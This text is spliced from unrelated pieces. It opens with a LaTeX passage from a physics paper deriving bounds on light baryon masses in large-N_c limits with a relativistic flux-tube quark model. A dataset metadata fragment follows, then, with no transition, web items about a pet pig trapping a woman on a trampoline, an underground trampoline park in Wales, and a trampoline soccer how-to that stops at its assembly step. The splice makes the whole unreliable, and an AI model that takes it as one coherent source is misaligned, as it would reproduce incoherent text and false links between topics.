In any large-$N_c$ limit, mesons and glueballs are always quark-antiquark and gluonic bound states respectively, but baryons need to be considered more carefully. As pointed out by Witten~\cite{witten}, baryons in 't~Hooft limit should be seen as bound states made of $N_c$ quarks in a totally antisymmetric color singlet. In that reference, using Feynman diagrams and a nonrelativistic quark model, it has been shown that the baryon masses scale as $N_c$ at the dominant order. It was also suggested that the same result should hold for baryons made of light quarks. Remark that corrections in $1/N_c$ can be added to improve the agreement of baryonic mass formulas with experiment (see \textit{e.g.}~\cite{jenkins}). In the Corrigan-Ramond limit however, a baryon can be made of three quarks as in QCD, so its mass should stay constant with $N_c$ at dominant order~\cite{corr}. Finally, baryons in the QCD$_{{\rm AS}}$ should rather consist in $N_c(N_c-1)/2$ quarks in a totally antisymmetric color singlet~\cite{bolo}, with a mass scaling as $N_c^2$ as shown in \cite{cohen} by using diagrammatic methods similar to the ones of \cite{witten}.
In the present paper, we propose a constituent quark model that has the peculiarity of being relevant in the light baryon sector: Quarks can be massless thanks to a kinetic term of relativistic form, and long-range confining interactions are taken into account within a flux-tube (or string) picture. Our model is discussed in Sec.~\ref{sec:bham}, where we keep the formalism general so that any baryonic system can be studied, either in QCD or in the aforementioned large-$N_c$ limits. Then, using mathematical tools that are detailed in Appendix~\ref{appendix}, we find analytical upper and lower bounds for the light baryon mass spectra in the 't~Hooft, QCD$_{{\rm AS}}$ and Corrigan-Ramond limits in Secs.~\ref{thooft}, \ref{aslim} and \ref{crlim} respectively. As finally summarized in Sec.~\ref{conclu}, those bounds allow to find how the light baryon masses scale with $N_c$ and provide a confirmation of results obtained in previous works devoted to that topic.
\section{Baryonic Hamiltonians}\label{sec:bham}
\subsection{General considerations}
A Hamiltonian describing bound states of baryonic type is needed as a starting point for our study. Since the gauge group considered is SU($N_c$), and since the quarks are allowed to be in an arbitrary color representation $R$ of that group, we mean by ``baryonic type" a bound state made of quarks only, whose color function is a totally antisymmetric singlet with respect to the exchange of two quarks. Let us denote $n_q$ the minimal number of quarks necessary to build such a color singlet. Then the dominant term in the quark kinetic energy can be written under the spinless Salpeter form
\begin{equation}
T=\sum_{i=1}^{n_q}\sqrt{\vec p^{\, 2}_i+m^2_i},
\end{equation}
which has the advantage of being well-defined even for massless quarks. It is sometimes called semirelativistic in the literature since it is not a covariant formulation.
Let us now discuss the interactions between the quarks within a generic baryonic system. At the perturbative level, \textit{i.e.} at short distances, one-gluon-exchange processes are dominant. The corresponding short-range potential can be computed from the QCD Feynman diagrams at tree level. In the quark-quark case, one is led to the well-known Fermi-Breit interaction, whose leading part is spin-independent and of Coulomb form. Typically, one expects the one-gluon-exchange term to be
\begin{equation}\label{voge}
V_{oge}=\frac{1}{2}(C_{qq}-2C_q)\, \alpha_s\sum_{i<j=1}^{n_q}\frac{1}{\left|\vec x_i-\vec x_j\right|},
\end{equation}
where $\alpha_s=g^2/4\pi$ and where $C_{qq}$ and $C_q$ are the quadratic Casimir operators of SU($N_c$) in the representations of the quark-quark pair and of the quark respectively. $\vec x_i$ obviously denotes the position of quark $i$. Notice that we assumed that each quark pair in the system is in the same color channel. The reason of such a choice will appear more clearly in the following sections. As previously mentioned, the 't~Hooft large-$N_c$ limit is such that $N_c\rightarrow\infty$ and $\alpha_s=\alpha_0/N_c$, with $\alpha_0$ independent of $N_c$. Since $\alpha_s\approx0.35$-0.40 in various potential models of real QCD, $\alpha_0\approx 1$. With such a value, all arguments within the square roots appearing in the following to compute baryon masses are well definite positive numbers.
The long-range part of the interactions, responsible for the confinement, will be described within the framework of the flux-tube model. From the Casimir scaling hypothesis, one considers that each color source generates a straight flux tube whose energy density (or tension) is proportional to its quadratic color Casimir operator. Then, the flux tubes have to meet in one or several points such that the total energy contained in those flux tubes is minimal. In ``QCD" baryons (three quark systems), the junction point is identified with the Steiner (or Fermat or Toricelli) point of the triangle made by the quarks, leading to a Y-junction configuration as observed in lattice computations~\cite{ichie,taka,bissey}. Excepted for highly asymmetric quark configurations, that are not expected to be relevant for low-lying baryons, the junction point can be identified to the center of mass of the system within an excellent approximation~\cite{bsb}. Inspired by the usual baryonic case, we will assume a confining potential of the form
\begin{equation}\label{vc}
V_c=\frac{C_q}{C_{\yng(1)}}\sigma\sum_{i=1}^{n_q}\left|\vec x_i-\vec R\right|,
\end{equation}
where $\vec R$ is the center of mass of the system. According to the Casimir scaling, $(C_q/C_{\yng(1)})\sigma$ is the flux-tube energy density since $C_{\yng(1)}$ is the quadratic Casimir in the fundamental representation and $\sigma$ is the fundamental string tension, that is the one between a quark-antiquark pair. It is expected that $\sigma$ is constant with $N_c$ at leading order \cite{make}. In various potential models, $\sigma\approx 0.15$-0.20~GeV$^2$. Actually, there may be more than one junction point for multiquark states (tetraquarks, pentaquarks, \dots), and algorithms exist to compute them (see~\cite{Bicu3} as well as lattice computations~\cite{multiq}). So, a baryon made of $n_q$ quarks is probably a very complicated spatial structure with numerous strings connecting quarks and multiple junctions in order to minimize the potential energy. Nevertheless, besides the fact that potential~(\ref{vc}) is of one-body form, which is better in view of analytical calculations, it has several interesting physical features:
\begin{itemize}
\item When $N_c=3$, it reduces to an excellent approximation of the genuine Y-junction.
\item Provided that a single junction point is present, its motion can be neglected at large-$N_c$ (see arguments in \cite{witten}) and its position can thus be identified with the center of mass.
\item At large-$N_c$, the string tension only depends on the $N$-ality of the representation (in our case, the number of fundamental representations needed to build a given representation by tensor product). This has been shown using several approaches such as holographic techniques or lattice calculations \cite{armo1,armo2}. If $k$ fundamental strings emerging from $k$ quarks in the fundamental representation connect to a junction, the energy density of the string emerging from this junction is expected to be $\sigma_k=k\,\sigma$ at the dominant order in $N_c$. The corresponding energetic cost is similar to the one for $k$ fundamental strings. So, the connection of the strings emerging from all quarks in the baryon into a single point is not energetically disadvantaged with respect to the apparition of multiple junctions inside the baryon at large-$N_c$.
\end{itemize}
For these reasons, we will keep potential~(\ref{vc}) in our calculations, since it seems to be relevant for both $N_c=3$ and $N_c\to \infty$.
It is worth mentioning that the total Hamiltonian, defined by
\begin{equation}\label{hb}
H_b=T+V_{oge}+V_c ,
\end{equation}
is very similar to the string model of light baryons at large $N_c$ proposed by Witten in his seminal paper~\cite{witten}. The peculiarity of the present work is that the model will be generalized to other large-$N_c$ limits than 't~Hooft's one and that we use techniques allowing to obtain approximate analytical mass spectra for $H_b$. A last comment that can be done about our model concerns the strong coupling constant. Already at one-loop, $\alpha_S$ is running with the energy scale $\rm q^2$ and we know that $\alpha_s(\rm q^2\rightarrow\infty)=0$. Moreover, we consider that $\alpha_s(\rm q^2\rightarrow0)$ tends to a finite, nonzero value that corresponds to $\alpha_s$ used in~(\ref{voge}). This is coherent with the aforementioned lattice QCD calculations, showing in general that the static potential between quarks can be accurately fitted by a potential separated into a dominant nonperturbative part (the flux tubes) and a residual perturbative part (the one-gluon-exchange potential with a ``frozen" value of $\alpha_s$).
The spin effects will be completely ignored in this work. For instance in the real world, the ratio $(m_\Delta-m_N)/\frac{1}{2}(m_\Delta+m_N)$, which is attributed to spin (possibly isospin) dependent interactions, is 27\% (around $1/N_c$ with $N_c=3$). This spin contribution is not negligible but can be considered as a perturbation of order $1/N_c$ in the large-$N_c$ limit \cite{jenkins}. Previous works have considered the $1/N_c$ expansion for the mass operator in terms of various spin or isospin dependent operators inspired by simple constituent quark models \cite{pirj08,gale09}. Explicit calculations of the spin contribution have been calculated for $N_c=3$ in the framework of a nonrelativistic quark model \cite{gale09}. This problem for a relativistic kinematics and arbitrary values of $N_c$ can be treated within our formalism and will be studied in a subsequent paper. Here, we only focus on the dominant effects in baryons.
\subsection{Upper and lower bounds}
Summarizing the discussion of the previous section, we are left with the baryonic Hamiltonian
\begin{equation}\label{hb1}
H_b=\sum_{i=1}^{n_q}\left[\sqrt{\vec p^{\, 2}_i}+a\left|\vec x_i-\vec R\right|\right]-\sum_{i<j=1}^{n_q}\frac{b}{\left|\vec x_i-\vec x_j\right|},
\end{equation}
\begin{equation}\label{abdef}
\hspace{-1.3cm}{\rm where}\quad a=\frac{C_q}{C_{\yng(1)}}\sigma,\quad {\rm and} \quad b=\frac{1}{2}(2C_q-C_{qq})\frac{\alpha_0}{N_c}.
\end{equation}
Since we focus on light baryons, we have set $m_i=0$, which is a good approximation for the $u$ and $d$ quark masses.
Although finding the exact mass spectrum of $H_b$, denoted $M_b$, would require numerical computations, analytical techniques allow to find upper and lower bounds of that spectrum. For the sake of clarity, we leave the technical details for Appendix~\ref{appendix} while we give here the final results. From (\ref{mu1}) and (\ref{ml1}), we can deduce that the mass $M_b$ of a given eigenstate is such that
\begin{equation}\label{bound}
n_q\, \inf_{\left|\psi\right\rangle}\left\langle \psi\left|\sqrt{\vec p^{\, 2}}+\frac{n_q-1}{2}\left[\frac{a}{n_q}r-\frac{b}{r}\right]\right|\psi\right\rangle
\leq M_b\leq\sqrt{4a(Q\, n_q-b\, P^{3/2})},
\end{equation}
where we recall that $P$ is the number of quark pairs and $Q$ is the band number of the considered state in a harmonic oscillator picture. The upper bound, obtained by the auxiliary field method (AFM), is state dependent, while the lower bound only concerns the ground state (hence, it is also a lower bound of the whole spectrum). Following (\ref{ml2}), it can be approximated by $\sqrt{2aP \left(2-b(n_q-1)\right)}$. The number of excitation quanta, $K=\sum_{i=1}^{n_q-1}(2n_i + \ell_i)$, could be seen as either of order 1 or of order $n_q$. We will consider in the following that $K=O(1)$ in order to get simpler mass formulas, but we point out that our final results would remain valid if $K=O(n_q)$.
Whatever the values of $a$ and $b$, (\ref{bound}) and (\ref{QK}) implies that
\begin{equation}
M_b^2 \leq \alpha\, K + \beta,
\end{equation}
where $\alpha$ and $\beta$ do not depend on quantum numbers. So, for a fixed value of $n_q$, the upper bound predicts a Regge behavior for orbital and radial excitations. This is observed in the real QCD world with $N_c=3$. Moreover, large-$N_c$ methods help to understand why baryonic and mesonic Regge slopes are equal \cite{armo09}.
A mean field approximation has been used in various papers \cite{witten,bolo} to estimate the baryon masses in the large-$N_c$ limit. One can ask what are the connections of our model with this approach? The energy $\epsilon$ of a single quark in a central mean field with a funnel form $\alpha\, r-\beta/r$ is given by
\begin{equation}
\epsilon = \sqrt{4 \alpha (Q^*-\beta)} \quad \textrm{with} \quad Q=2 n^*+l^*+3/2,
\end{equation}
within the AFM approximation \cite{afms}. The mass $M^*$ of $n_q$ independent quarks is
\begin{equation}
M^* = \sum_{i=1}^{n_q} \sqrt{4 \alpha (Q^*_i-\beta)}.
\end{equation}
For large values of $n_q$, we can assume a good equipartition of the energy $Q^*_i\approx Q/n_q$, where $Q$ is the number of quanta for the baryon state considered. The corresponding mass is then
\begin{equation}
M^* \approx \sqrt{4 \alpha (Q\, n_q-\beta \, n_q^2)}.
\end{equation}
With the identification $\alpha=a$ and $\beta=2^{-3/2}b\, n_q$, the upper bound (\ref{bound}) is recovered. Nevertheless, a mean field approximation is not fully equivalent to our approach. For instance, in the mean field formulation, the wavefunction is the product of $n_q$ individual functions $\phi_j(\vec x_j -\vec R)$, which is very different from the wavefunction~(\ref{piphi}).
\section{'t~Hooft limit}\label{thooft}
In this case, the quarks are in the fundamental representation of SU($N_c$), and the number of colors becomes large while the 't~Hooft coupling, or equivalently $\alpha_s\, N_c$, remains constant for any $N_c$. The number of quark flavors is finite. The generalization of a baryon is then given by a state with $n_q=N_c$, the $N_c$ quarks forming a totally antisymmetric color singlet, implying that any quark pair is in the $A_2$ representation $\yng(1,1)$ \cite{witten}. Thus the Casimir operators read in this case
\begin{equation}
C_q=C_{\yng(1)}=\frac{N^2_c-1}{2N_c},\quad C_{qq}=C_{\yng(1,1)}=\frac{(N_c-2)(N_c+1)}{N_c}.
\end{equation}
The interested reader can find in \textit{e.g.} \cite{cas} a way to compute the Casimir operators of SU($N_c$). This implies that the $a$ and $b$ factors~(\ref{abdef}) are now given by
\begin{equation}
a=\sigma,\quad b=\frac{N_c+1}{2N_c^2} \alpha_0.
\end{equation}
Due to the large value of $N_c$, one has $Q\rightarrow 3N_c/2$ ($K=O(1)$), $P\rightarrow N^2_c/2$, and (\ref{bound}) becomes
\begin{equation}\label{mb1}
N_c\, \inf_{\left|\psi\right\rangle}\left\langle \psi\left|\sqrt{\vec p^{\, 2}}+\left(\frac{\sigma}{2}\, r-\frac{\alpha_0}{4\, r}\right)\right|\psi\right\rangle
\leq M_b\leq N_c\sqrt{\sigma\left( 6-\frac{\alpha_0}{\sqrt 2} \right)}.
\end{equation}
Following (\ref{ml2}), this last lower bound is close to the explicit formula $N_c\sqrt{\sigma \left(2-\frac{\alpha_0}{2}\right)}$. Moreover, if $n_s$ strange quarks with nonzero mass are present, it is readily obtained from (\ref{dms}) that they bring a mass term approximately equal to
\begin{equation}\label{dms1}
\Delta M_s\approx n_s\frac{m^2_s}{6\sqrt{\sigma}}\sqrt{6-\frac{\alpha_0}{\sqrt 2}}.
\end{equation}
Using~(\ref{rad}), the mean square radius of the baryon, at the limit $N_c \to \infty$, is given by
\begin{equation}
\left\langle r^2\right\rangle \approx \frac{6-\sqrt{2}\alpha_0}{4 \sigma} .
\end{equation}
The size of the baryon tends toward a finite value in this limit, as suggested in \cite{witten,bolo}.
Since $\sigma$ and $\alpha_0$ do not depend on $N_c$, (\ref{mb1}) actually shows that any eigenvalue of Hamiltonian~(\ref{hb1}) scales as $N_c$ in the 't~Hooft limit. We argued in Sec.~\ref{sec:bham} that this last Hamiltonian provides a relevant description of baryonic systems, at least at the dominant order; consequently, we have shown that the light baryon masses scale as
\begin{equation}\label{mbscal1}
M_b\propto N_c
\end{equation}
in the 't~Hooft limit, just as it has been shown for heavy baryons in \cite{witten}. This is in agreement with the results in \cite{luty93} which show that this scaling must be verified whatever the number of light quark flavors. The strange quark contribution~(\ref{dms1}) is constant with $N_c$ and proportional to $m^2_s$, which is the SU$_F$(3)-breaking parameter in our model. That behavior is indeed coherent with former results obtained in large-$N_c$ baryon physics~\cite{jenkins,semay}. Moreover the mean square radius is also of order $O(1)$.
We point out that, although $Q$ (or $K$) does not appear explicitly in the formulas anymore, these results are valid for any excited state of $H_b$ as well as for its ground state. It can finally be observed, from the formulas of Appendix~\ref{appendix}, that a pairwise confining potential would not have led to masses of order $N_c$ excepted if $\sigma$ was of order $1/N_c$, which seems not relevant as mentioned above.
\section{QCD$_{{\rm AS}}$ limit}\label{aslim}
That limit is different from the 't~Hooft one since the quarks are now assumed to be in the $A_2$ representation $\yng(1,1)$ of SU($N_c$), demanding the baryonic color wave functions to be reconsidered. Indeed, the number of quarks needed to build a totally antisymmetric color singlet at any $N_c$ is now $n_q=N_c(N_c-1)/2$ as explicitly shown in \cite{bolo}. As for the 't~Hooft limit, $n_q$ is equal to the dimension of the quark color representation, meaning that all the quark color configurations appear only once in the singlet. If it is readily computed that $C_q=C_{\yng(1,1)}=(N_c-2)(N_c+1)/N_c$, it is nevertheless worth discussing a bit the value of $C_{qq}$. A quark pair inside the baryon can be in the following color channels:
\Yboxdim9pt
\begin{equation}\label{young}
\yng(1,1)\otimes\yng(1,1)=\yng(2,2)\oplus\, \yng(1,1,1,1)\oplus\, \yng(2,1,1) .
\end{equation}
\Yboxdim5pt
However, the last channel is the only relevant one, for the following reasons. From a quark model point of view, one can check that $\yng(2,2)$ leads to repulsive interactions, that are thus not appropriate to describe a baryon. Moreover, the totally antisymmetric channel is forbidden from a diagrammatic point of view, as shown in \cite{cher}. The point is that a quark now carries two fundamental color indices. Consider a one-gluon-exchange process involving initially two quarks with indices [$ab$] and [$cd$]. The four indices must be different in order for the pair to be in the $A_4$ representation. The exchanged gluon would then change the pair into, say, [$ad$] and [$bc$]. But, in virtue of the Pauli principle, that pair is already present in the baryon, leading to the vanishing of that process. From that argument, the conclusion is that any quark pair must have only one common color index, typically [$ab$] and [$ac$]. This corresponds to the last diagram of (\ref{young}), and one finally concludes that $C_{qq}=C_{\yng(2,1,1)}=2(N_c^2-N_c-4)/N_c$.
The $a$ and $b$ factors are given, in the QCD$_{{\rm AS}}$ case, by
\begin{equation}
a=\frac{2(N_c-2)}{N_c-1}\sigma,\quad b=\frac{2}{N_c^2}\, \alpha_0,
\end{equation}
and, as $N_c\rightarrow\infty$, it can be checked that $Q\rightarrow 3N_c^2/4$ ($K=O(1)$) and $P\rightarrow N^4_c/8$. Equation~(\ref{bound}) becomes
\begin{equation}\label{asbound}
\frac{N_c^2}{2}\, \inf_{\left|\psi\right\rangle}\left\langle \psi\left|\sqrt{\vec p^{\, 2}}+\left(\sigma\, r-\frac{\alpha_0}{2\, r}\right)\right|\psi\right\rangle
\leq M_b
\leq N_c^2\sqrt{\sigma\left(3-\frac{\alpha_0}{\sqrt 2} \right)}.
\end{equation}
Following (\ref{ml2}), that last lower bound is approximately equal to $N_c^2\sqrt{\sigma \left(1-\frac{\alpha_0}{2}\right)}$. The strange quark contribution is moreover given by
\begin{equation}\label{ass}
\Delta M_s\approx n_s\frac{m^2_s}{6\sqrt{\sigma}}\sqrt{3-\frac{\alpha_0}{\sqrt 2}},
\end{equation}
while the baryon radius reads
\begin{equation}
\left\langle r^2\right\rangle \approx \frac{6-\sqrt{2}\alpha_0}{8 \sigma} .
\end{equation}
Using the same arguments as in the 't~Hooft limit, we can conclude from (\ref{asbound}) that we have shown that the light baryon masses scale as
\begin{equation}
M_b\propto N_c^2
\end{equation}
in the QCD$_{{\rm AS}}$ limit, as proposed in \cite{cher2} and proved in Witten's diagrammatic way in \cite{cohen}. Moreover, the SU$_F$(3)-breaking term brings a contribution independent of $N_c$ in this case also, as pointed out in \cite{cher2}. The behavior is similar for the baryon radius. Notice that, with quarks in the $A_2$ representation, a totally \emph{symmetric} color singlet could be built with $N_c$ quarks, that would lead to a baryon mass scaling in $N_c^{7/6}$ following \cite{bolo}. This can be understood within our framework also, because the spatial wave function should then be antisymmetric to preserve Pauli's principle. In that case, it can be computed within our framework that $Q\propto n_q^{4/3}$ at large $n_q$~\cite{afm}, leading to $M_b\propto N_c^{7/6}$ following (\ref{mu1}) and $\left\langle r^2\right\rangle\propto N_c^{1/3}$ following (\ref{rad}).
\section{Corrigan-Ramond limit}\label{crlim}
In that limit, baryons are three-quark states for any $N_c$: Two quarks are in the fundamental representation and one (say quark number 3) is in the $A_{N_c-2}$ one. The total interaction potential of our model reads, in the limit where $N_c\rightarrow\infty$ and where the 't~Hooft coupling is fixed,
\begin{eqnarray}
V_{oge}+V_c&\rightarrow&\sigma \left(2|\vec x_3-\vec R|+|\vec x_1-\vec R|+|\vec x_2-\vec R|\right)
-\frac{\alpha_0}{2}\left(\frac{1}{|\vec x_1-\vec x_3|}+\frac{1}{|\vec x_2-\vec x_3|}\right).
\end{eqnarray}
That potential, being constant with $N_c$, would lead to constant masses also since $n_q=3$. However, it is rather problematic since the baryon picture suggested is quite far from what is known at $N_c=3$. In particular, no one-gluon-exchange term is present between the quark 2 and 3: In the previous limits, the $1/N_c$ scaling of this term was compensated by the number of quarks scaling as $N_c$ at least, but here $n_q$ is finite. Moreover, the asymmetry of the confining potential would lead to a tower of excited states quite different from what is expected. For those reasons, we prefer not to investigate more the Corrigan-Ramond limit. We mention for completeness that the phenomenology of the Corrigan-Ramond limit has already been studied in previous works~\cite{cher2,papa}, and found to be less realistic that the one coming from the 't~Hooft or QCD$_{{\ AS}}$ limits, in agreement with our discussion. Moreover another limit which is somewhat in between the 't~Hooft and Corrigan-Ramond ones has also been proposed \cite{rytt06}, but it is out of the scope of the present work since it requires a formalism in which quarks are Dirac spinors.
\section{Conclusions}\label{conclu}
In this paper, we have built a constituent model describing a baryonic system, that is a bound state made of quarks only. Our approach is a generalization of Witten's original proposal~\cite{witten}, \textit{i.e.} a one-gluon-exchange potential plus a stringlike confinement, but in which a kinetic term of relativistic form is added. Using analytical methods, we have been able to find analytical upper and (approximate) lower bounds for the baryon mass spectrum in the limit where quarks are massless. This is a peculiarity of the present work since analytical results are generally known only for heavy quarks.
The most important point is that we have confirmed that $M_b = O(N_c)$ for light baryons in the 't~Hooft limit, and that $M_b = O(N_c^2)$ in the QCD$_{{\rm AS}}$ limit in agreement with the recent work~\cite{cohen}. Moreover, $M_b = O(1)$ in the Corrigan-Ramond limit, but this last case does not seem relevant for a constituent approach. We have checked that these results are obtained for the more general confining potential $\sum_{i=1}^{n_q} a\left|\vec x_i-\vec R\right|^p$ with $p>0$. But, whatever the value of $N_c$, baryon masses lie on Regge trajectories, for orbital and radial quantum numbers, only for $p=1$.
The contribution coming from strange quarks is of order $O(1)$ in the three considered cases, as suggested in~\cite{cher2}. It can also be checked that the typical baryon size is independent of $N_c$ for the three considered limits, recovering a result obtained within a Skyrme model of baryons~\cite{bolo}.
Those results can basically be summarized as follows: For light baryons, $M_b$ is proportional at the dominant order to the number of quarks needed to build a totally antisymmetric color singlet. This seems rather intuitive a posteriori but it was actually not trivial a priori for the following reasons. First, the quarks are massless, and the usual guess $M_b\propto n_q\, m_q$ is not applicable. Second, the explicit form of the potential does not allow to deduce such a scaling law. Third, a simple counterexample can be found as shown in Sec.~\ref{aslim}: If the color singlet is totally symmetric, the baryon masses do not scale as $n_q$ at large $n_q$, showing the nontrivial character of our result.
\acknowledgments
The authors thank the F.R.S.-FNRS for financial support. We also thank Nicolas Matagne for helpfull discussions.
\begin{appendix}
\section{Useful formulas}\label{appendix}
In this appendix, we give analytical approximate mass spectra for a generic Hamiltonian of the form
\begin{equation}\label{geneh}
H=\sum_{i=1}^{n_q}\left[\sqrt{\vec p^{\, 2}_i+m^2_i}+a_1\left|\vec x_i-\vec R\right|\right]
+\sum_{i<j=1}^{n_q}\left[a_2\left|\vec x_i-\vec x_j\right|-\frac{b}{\left|\vec x_i-\vec x_j\right|}\right],
\end{equation}
in view of an application to baryonic systems studied in the present paper. First of all, we focus on the ultrarelativistic limit $m_i=0$. Although standard quantum mechanical techniques have difficulties to handle that limit, the auxiliary field method (AFM) has been shown to be efficient in that case also. We refer the reader to \cite{afm} for a detailed discussion of that method, but for our purpose it is sufficient to mention that it leads to the following upper bound for the mass spectrum of Hamiltonian~(\ref{geneh})
\begin{equation}\label{mu1}
M^2_{u1}(Q)=4(a_1+a_2\, P^{1/2})(Q\, n_q-b\, P^{3/2}),
\end{equation}
with
\begin{equation}\label{QK}
Q=\frac{3}{2}(n_q-1)+K, \quad K=\sum_{i=1}^{n_q-1}(2n_i+\ell_i),\quad{\rm and}\quad P=\frac{n_q(n_q-1)}{2}.
\end{equation}
$Q$ is the band number (in a harmonic oscillator picture) for the eigenstates of $H$, and $P$ is the number of particle pairs. It is assumed that the value of $b$ is such that $M^2_{u1}$ is a positive number. In the case where $a_1=0$ or $a_2=0$, (\ref{mu1}) reduces to formulas previously found in \cite{afm}. Notice that, if $n_s$ ($< n_q$) quarks have a small nonzero mass $m_s$, the corresponding mass shift is given by~\cite{afm}
\begin{equation}\label{dms}
\Delta M_s(Q)\approx n_s\frac{m^2_s}{2\mu_0(Q)},
\end{equation}
where $\mu_0(Q)$ is a massless quark's average kinetic energy, given by
\begin{equation}
\mu_0(Q)=Q \sqrt{\frac{a_1+a_2\, P^{1/2}}{Q\, n_q-b\, P^{3/2}}}=\frac{Q\,M_{u1}(Q)}{2(Q\, n_q-b\, P^{3/2})}.
\end{equation}
The AFM not only leads to approximate analytical mass spectra, but also to approximate analytical wave functions, allowing to compute various observables with a good accuracy~\cite{wave}. Combining results from \cite{afm,wave}, a $n_q$-body eigenstate is written
\begin{equation}\label{piphi}
\varphi=\prod^{n_q-1}_{j=1}\, \varphi_{n_j,\ell_j}(\lambda_j, \vec y_j),
\end{equation}
where $\varphi_{n_j,\ell_j}(\lambda_j, \vec y_j)$ is a three dimensional harmonic oscillator wave function, depending on the Jacobi coordinate $\vec y_j$ \cite{afm} and decreasing asymptotically like ${\rm e}^{-\lambda^2_j\, \vec y_j^{\, 2}/2}$. The quantum numbers are such that $\sum_{j=1}^{n_q-1}(2n_j+\ell_j)=K$ and the scale parameters $\lambda_j$ are given by
\begin{equation}\label{laj}
\lambda_j=\sqrt{\frac{j}{j+1}}\sqrt{\frac{n_q}{Q}} \mu_0(Q).
\end{equation}
The state~(\ref{piphi}) has neither a defined total angular momentum nor a good symmetry, but its is characterized by a parity $(-1)^K$. By combining states (\ref{piphi}) with the same value of $K$ (or $Q$), it is generally possible to build a physical state with good quantum numbers and good symmetry properties, but the task can be technically very complicated \cite{silv85}.
The baryon mean square radius can be computed with the eigenstates (\ref{piphi}) corresponding to the mass spectrum $M_{u1}$, leading to~\cite{afm,wave}
\begin{equation}\label{rad}
\left\langle r^2\right\rangle=\left\langle\frac{1}{n_q}\sum_{i=1}^{n_q}(\vec x_i-\vec R)^2\right\rangle
=\left[\frac{Q}{n_q\mu_0(Q)}\right]^2.
\end{equation}
Since this result only depends on the quantum numbers via $Q$, and since a physical state must be a combination of eigenstates with the same value of $Q$, (\ref{rad}) is also valid for a physical state.
In order to check our calculations, an upper bound for the ground state of Hamiltonian~(\ref{geneh}) has been obtained by a variational method with a trial function $\phi$ given by (\ref{piphi}) with $K=0$ and new scale parameters $\lambda_j=\sqrt{j/(j+1)}\Lambda$, where $ \Lambda$ is a free quantity. By minimizing $\left\langle\phi\right| H\left|\phi\right\rangle$ with respect to $\Lambda$ (see \textit{e.g.} \cite{afm,gauss} for a computation of the needed matrix elements), this leads to the ground state upper bound
\begin{equation}
M^2_{u2}=\frac{16}{\pi}P(a_1+a_2\sqrt P)(2-b\sqrt P).
\end{equation}
Not only upper bounds can be obtained, but also a lower bound. Remarking that
\begin{equation}
\sum_{i=1}^{n_q}\left|\vec x_i-\vec R\right|>\frac{1}{n_q}\sum_{i<j=1}^{n_q}\left|\vec x_i-\vec x_j\right|
\end{equation}
thanks to the triangular inequality, eigenenergies of the Hamiltonian
\begin{equation}
H^I=\sum_{i=1}^{n_q}\sqrt{\vec p^{\, 2}_i+m^2}+\sum_{i<j=1}^{n_q}\left[\bar a\left|\vec x_i-\vec x_j\right|-\frac{b}{\left|\vec x_i-\vec x_j\right|}\right],
\end{equation}
with $\bar a=a_2+a_1/n_q$, are lower bounds of the eigenenergies of Hamiltonian~(\ref{geneh}). Furthermore, a lower bound on the ground state mass of $H^I$ can be found in \cite{hall}, that is
\begin{equation}\label{ml1}
M_{l1}=n_q\, \inf_{\left|\psi\right\rangle}\left\langle \psi\left|\sqrt{\vec p^{\, 2}+m^2}+\frac{n_q-1}{2}\left[\bar a r-\frac{b}{r}\right]\right|\psi\right\rangle.
\end{equation}
More explicitly, an approximate formula for $M_{l1}$ at $m=0$ can be found using the AFM~\cite{afms}
\begin{equation}\label{ml2}
M_{l1}^2\approx M_{l2}^2=2 P (a_1+a_2 n_q) \left[2-b(n_q-1)\right].
\end{equation}
The variational character of $M_{l2}$ cannot be guaranteed, but since this last AFM approximation is very accurate~\cite{afms}, it can be reasonably supposed that $M_{l2}$ is still a lower bound of the ground state mass of~(\ref{geneh}). This has been numerically checked on several systems for $n_q=2$ and 3.
Since $\min (Q\, n_q) = 3 P$, one can verify that $M_{u1}(Q) > M_{u2} > M_{l2}$ for $n_q \ge 2$, as expected. The crucial point of these calculations is that the three bounds have the same behavior for large values of $n_q$. So we can have confidence on the large $n_q$-behavior of the exact solutions.
\end{appendix}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 8,336 |
Trampoline saves woman from her pet pig [VIDEO]
It seemed like an ordinary Tuesday afternoon for Penny Phillip until her 350 pound pig got loose.
"He chased me up on the trampoline and he was trying to get up there," said Phillip.
An electric fence placed around the Phillip family farm in Fountain didn't seem to bother their 6 month old nameless pig.
"It's funny," Penny's son, Johnathan Phillip, said.
After being startled by the farm horses, the porker managed to jump the four-and-a-half foot electric fence.
"The horses spooked him," Phillip said. "And he just jumped over fence."
That's when Phillip says she jumped onto her children's trampoline.
"I thought he'd calm down and maybe wouldn't be so spooked but I was waiting and he just wasn't moving," she said.
She says she tried everything to get the pig to leave.
"Yelled at him and told him to move," said Phillip. "And then he went underneath it and was poking his nose on it."
The pig then dug a hole and camped out making sure she didn't go anywhere.
After two hours of waiting, Phillip had no other choice but to call for help.
Phillip said the Bay County Sheriff's Office responded to the call and deputies grabbed a stick to steer the pig back into the fenced area.
"I was behind him pushing him and the officer was behind me pushing me and we just pushed him in there," said Phillip.
This wasn't the first time the 350 pound pig made it over the fence and into the yard.
"Last time he trapped me on the trampoline, and this time he did it to her," Penny's daughter, Valerie, said.
The Phillip family believes the pig enjoys trapping the household females, "Because he needs a girlfriend," Valerie said.
Johnathan doesn't believe that will happen anytime soon.
"The pig's dirty," he said.
World's largest underground trampoline
Awhile back we covered a phenomenon in a small Scottish suburb with the highest ratio of trampolines to residents. Well, we have now come across another amazing trampoline story hailing from Northern Wales. Apparently, jumping on trampolines is very popular all over the United Kingdom because the largest underground trampoline is located at Llechwedd Slate Caverns near the mining town of Blaenau Ffestiniog.
The giant trampoline park aptly dubbed Bounce Below at Zip World Titan features three giant trampolines deep inside an old mining cavern that is the latest attraction drawing tourists to Northern Wales.
Bounce Below opened July 4 and has been a visitor favorite at the park. It's the "world's first subterranean playground of its kind," reads the web site. "These huge trampoline like nets are hung within two vast chambers at varying levels, linked together by walkways and slides, the biggest of which is a 60 foot slide. To add to the already awesome experience, the cavern is lit up with a Technicolor light display that illuminates the cavern with vibrant colors showing off the remains of the Victorian Slate Mine."
Cost of admission is about $25.
Zip World Titan was already the home to the Titan, the "largest zip zone in the world." We hope that other vacant mines and caverns around the world will be converted and used for trampoline fun.
How to play soccer on a trampoline
With the start of the 2014 World Cup in Brazil, Soccer fever has taken over. We have a fun way to get in on the action from the comfort of your own backyard. Yes, you guessed it, it involves a trampoline!
With the following how-to instructions, I will show you how to easily transform your backyard trampoline into a soccer field for little or no cost.
Step 1. Required Items:
1. Round or Rectangular Trampoline with Safety Net
2. Bright colored string rope
3. A few balls in various sizes
Step 2: Assembly
